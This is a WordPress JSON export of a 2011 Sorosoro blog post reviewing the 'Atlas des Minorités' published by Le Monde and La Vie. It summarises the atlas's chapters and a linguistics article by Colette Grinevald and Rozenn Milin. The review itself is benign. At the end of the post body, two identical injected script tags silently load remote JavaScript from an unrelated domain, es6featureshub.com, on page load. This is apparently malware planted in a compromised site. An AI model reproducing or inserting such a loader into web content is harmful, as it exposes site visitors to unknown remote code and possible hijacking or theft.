{"id":58541,"date":"2011-10-07T15:13:30","date_gmt":"2011-10-07T13:13:30","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=58541"},"modified":"2025-10-21T22:20:12","modified_gmt":"2025-10-21T20:20:12","slug":"october-6-2011-atlas-of-the-minorities-france","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/10\/october-6-2011-atlas-of-the-minorities-france\/","title":{"rendered":"October 6, 2011: Atlas of the Minorities, France"},"content":{"rendered":"<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-58470 aligncenter\" title=\"atlas-minorites_1\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/atlas-minorites_1.jpg\" alt=\"atlas-minorites_1\" width=\"130\" height=\"161\" \/><\/p>\n<p style=\"text-align: justify;\">This week, reviews <em>Le Monde<\/em> and <em>La Vie<\/em> have jointly published a particularly accomplished and recommendable <em><strong>Atlas des Minorit\u00e9s<\/strong><\/em>.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Over 200 pages of articles by leading scientific figures, 200 maps, an in-depth exploration of the subject from politics to history, to geography, psychology, and linguistics: tables of content that engaging, are scarce.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">The idea here is to understand the present in the light of the past. Throughout five main chapters, the Atlas attempts to outline the notion of &#8220;minority&#8221; by examining the history of the &#8220;majority systems&#8221;, and turning to the fate of the current minorities (either on-site or travelling) to end up with a universal statement: <strong>we\u2019re all part of a minority<\/strong>.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">The five chapters organize as follows:<\/p>\n<p style=\"text-align: justify;\">&#8211; articles on the notion and definition of a minority;<\/p>\n<p style=\"text-align: justify;\">&#8211; a historical chapter exploring different parts of the globe: Europe, the Muslim world, India, China;<\/p>\n<p style=\"text-align: justify;\">&#8211; a larger section titled Les mosa\u00efques contemporaines, still turned towards China, India, Europe, as well as Africa, the Middle East, and the Americas.<\/p>\n<p style=\"text-align: justify;\">&#8211; the 4th chapter address the question of minorities originating from migration: Romani, Jew, Armenian, Palestinian, Chinese, etc.<\/p>\n<p style=\"text-align: justify;\">&#8211; &#8220;All minorities?&#8221; asks the final chapter, alongside a reflection on indigenous rights, the regional languages of France, environmental migrants, the gay community, the organic communities, women leaders, the disabled&#8230; and even &#8220;endangered dictators&#8221;!<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Closer to our focus, the Atlas features an article on &#8220;<strong>Linguistic wealth in jeopardy<\/strong>&#8221; (<em>Une richesse linguistique en p\u00e9ril<\/em>) by linguist\/Sorosoro Board member <strong>Colette Grinevald<\/strong> and Sorosoro Director <strong>Rozenn Milin<\/strong>; figures, maps, relevant data&#8230; all the elements required to reframe a delicate subject.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a href=\"http:\/\/boutique.lemonde.fr\/hs-atlas-des-minorites-2011.html\" target=\"_blank\">Buy the Atlas online<\/a><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This week, reviews Le Monde and La Vie have jointly published a particularly accomplished and recommendable Atlas des Minorit\u00e9s. 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